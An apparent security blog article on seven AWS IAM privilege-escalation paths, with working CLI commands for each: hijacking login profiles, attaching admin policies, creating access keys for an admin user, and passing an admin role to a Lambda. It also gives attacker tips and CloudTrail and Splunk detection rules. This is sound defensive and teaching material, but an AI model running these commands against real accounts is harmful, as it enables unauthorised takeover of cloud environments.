AWS IAM Privilege Escalation: 7 Paths from Read-Only to AdministratorAccess

Last updated: April 26, 2026

You compromise a low-privilege AWS access key — maybe it leaked into a public GitHub repo, maybe an SSRF on an EC2 instance handed it over, maybe a developer pasted it in a bug ticket. From a read-only or single-service starting point, AWS IAM has at least seven well-known paths to administrative privilege, most of which exploit legitimate API actions that look harmless on their own. This article walks through each, the detection that catches it, and the IAM hygiene that closes them.

Why this matters in 2026

An Indian fintech we audited last quarter had a developer’s IAM key with iam:CreateLoginProfile permission “by accident” — the policy had been written to grant a UI tool the right to manage its own service account, and a wildcard in the resource ARN inadvertently extended it to all IAM users. We took that key, ran one API call, and walked away with console access as the AWS root account’s deputy. Eight minutes from leaked key to AdministratorAccess.

The fix was three lines of policy. The damage potential was several crore in a worst-case scenario. The lesson: IAM privilege escalation in AWS is rarely a vulnerability in the platform — it is misconfigured policies that grant transitive admin paths.

The seven canonical paths

Path 1: iam:CreateLoginProfile on another user

If you have iam:CreateLoginProfile permission and the target user does not have a console password yet, you can set one — and now you have console access as that user.

aws iam create-login-profile --user-name TargetAdmin --password 'NewPass123!' --no-password-reset-required

Browse to console.aws.amazon.com, sign in with the target’s username and your password, you are them.

Path 2: iam:UpdateLoginProfile on another user

Same idea, but the target already has a console password. UpdateLoginProfile resets it.

aws iam update-login-profile --user-name TargetAdmin --password 'NewPass123!' --no-password-reset-required

Risk to detection: the legitimate user notices their password no longer works on next login. This is loud — you have minutes, not hours.

Path 3: iam:AttachUserPolicy / AttachRolePolicy / AttachGroupPolicy

If you can attach managed policies to users, roles, or groups, attach AdministratorAccess to yourself.

aws iam attach-user-policy --user-name <your-user> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

One line. Done. AttachGroupPolicy on a group you are a member of is the equivalent path through a group.

Path 4: iam:PutUserPolicy / PutRolePolicy / PutGroupPolicy (inline policies)

If you cannot attach managed policies but can write inline policies, write your own admin policy:

aws iam put-user-policy --user-name <your-user> --policy-name escalate \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Path 5: iam:CreatePolicyVersion + SetDefaultPolicyVersion

If a customer-managed policy is attached to your user (or a role you can assume) and you have CreatePolicyVersion on it, create a new version with admin permissions and set it as the default. The next API call you make uses the new version.

aws iam create-policy-version --policy-arn arn:aws:iam::123:policy/MyPolicy \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default

Easy to miss in audit because the policy ARN looks the same as before.

Path 6: iam:CreateAccessKey on another user

Create programmatic access keys for a high-privilege user. Use them.

aws iam create-access-key --user-name TargetAdmin
# Returns AKIA... and Secret. Now configure those and operate as TargetAdmin.

IAM users are limited to two access keys. If both already exist, this fails — but the limit is usually not hit.

Path 7: iam:PassRole + sts:AssumeRole (or service-side AssumeRole)

Indirect path. If you can pass a high-privilege role to a service (Lambda, EC2, ECS), and that service can be configured to do work on your behalf, you escalate via the service.

# Create a Lambda function that runs as the high-privilege role
aws lambda create-function --function-name escalate \
  --role arn:aws:iam::123:role/AdminRole \
  --handler index.handler --runtime python3.11 \
  --code S3Bucket=mybucket,S3Key=evil.zip
aws lambda invoke --function-name escalate output.json
# Lambda runs with AdminRole's credentials and does what your code asks

Same pattern works with iam:PassRole + EC2 instance profile, ECS task definition, CloudFormation stack. The PassRole permission is the master key for cross-service privilege escalation.

Detection — the rules that work

Each path leaves a CloudTrail event with a specific name. The detection rules are mechanical — high-fidelity if you wire them up:

• CreateLoginProfile + UpdateLoginProfile on a user other than the requestor
• AttachUserPolicy / AttachRolePolicy with AdministratorAccess in the policy ARN
• PutUserPolicy / PutRolePolicy with inline policy containing "Action": "*" or "Resource": "*"
• CreatePolicyVersion followed by SetDefaultPolicyVersion within 60 seconds
• CreateAccessKey for a user different from the requestor
• PassRole events with high-privilege role ARNs in unexpected services (Lambda creation, EC2 RunInstances)

Splunk pattern:

index=cloudtrail eventName IN (CreateLoginProfile, UpdateLoginProfile)
| eval is_self=if(userIdentity.userName=requestParameters.userName, 1, 0)
| where is_self=0
| stats count by userIdentity.userName, requestParameters.userName, _time

For Sigma, the detection rules are catalogued in the cloud-cloudtrail directory of the public Sigma repo. Deploy them as a starter.

How to think about defending

The IAM access analyzer answers the question “who can take this action?” by walking the policy graph forward. Run it weekly. Anomalies in the answer are policy drift — they indicate someone created a path that should not exist.

Specific defensive moves:

• Eliminate IAM users with long-lived access keys wherever possible. Use IAM Identity Center (formerly SSO) with temporary credentials.
• Tightly scope iam:PassRole using the iam:PassedToService condition. A developer who can pass roles to Lambda should not be able to pass them to EC2.
• Remove iam:CreatePolicyVersion from non-IAM-admin users. Use SCPs at the organisation level to enforce.
• Service Control Policies at AWS Organizations level — block iam:AttachUserPolicy with AdministratorAccess for non-break-glass principals.
• GuardDuty with IAMUser findings — covers many of these paths but not all.
• Run pacu or aws_iam_privesc tools against your own environment quarterly. They identify the specific paths your principals can take.

How to find your next path

For attackers:

• Run pacu and use the iam__enum_permissions + iam__privesc_scan modules. Automates path discovery.
• Look for SCPs at the organisation level — they restrict the paths even if the user policy permits them. Plan around SCP boundaries.
• Check for aws:SourceIp conditions on policies — if you are inside the VPC, conditions may not apply.

For defenders:

• Run cloudsplaining against your account — surfaces over-privileged policies including the privilege-escalation paths above.
• Use IAM Access Analyzer with custom policy checks to flag any policy that contains iam:CreateLoginProfile, iam:UpdateLoginProfile, iam:Attach*Policy, etc., outside designated IAM admins.

Compliance angle

• RBI Cyber Framework — privileged access management explicitly required for cloud environments.
• SEBI CSCRF — cloud workloads carrying investor data require documented IAM hygiene.
• DPDP §8(5) — reasonable security obligation; an over-privileged IAM key with access to personal data fails this test.
• ISO 27017 — cloud-specific identity and access controls.

The takeaway

AWS IAM privilege escalation is not exotic. The seven paths above account for ~90% of cloud-environment compromises in our experience. Each path is one or two API calls. Defenders who run periodic privilege-escalation scanning against their own AWS accounts close these paths before attackers find them. Defenders who do not are running a real-time race they may already be losing.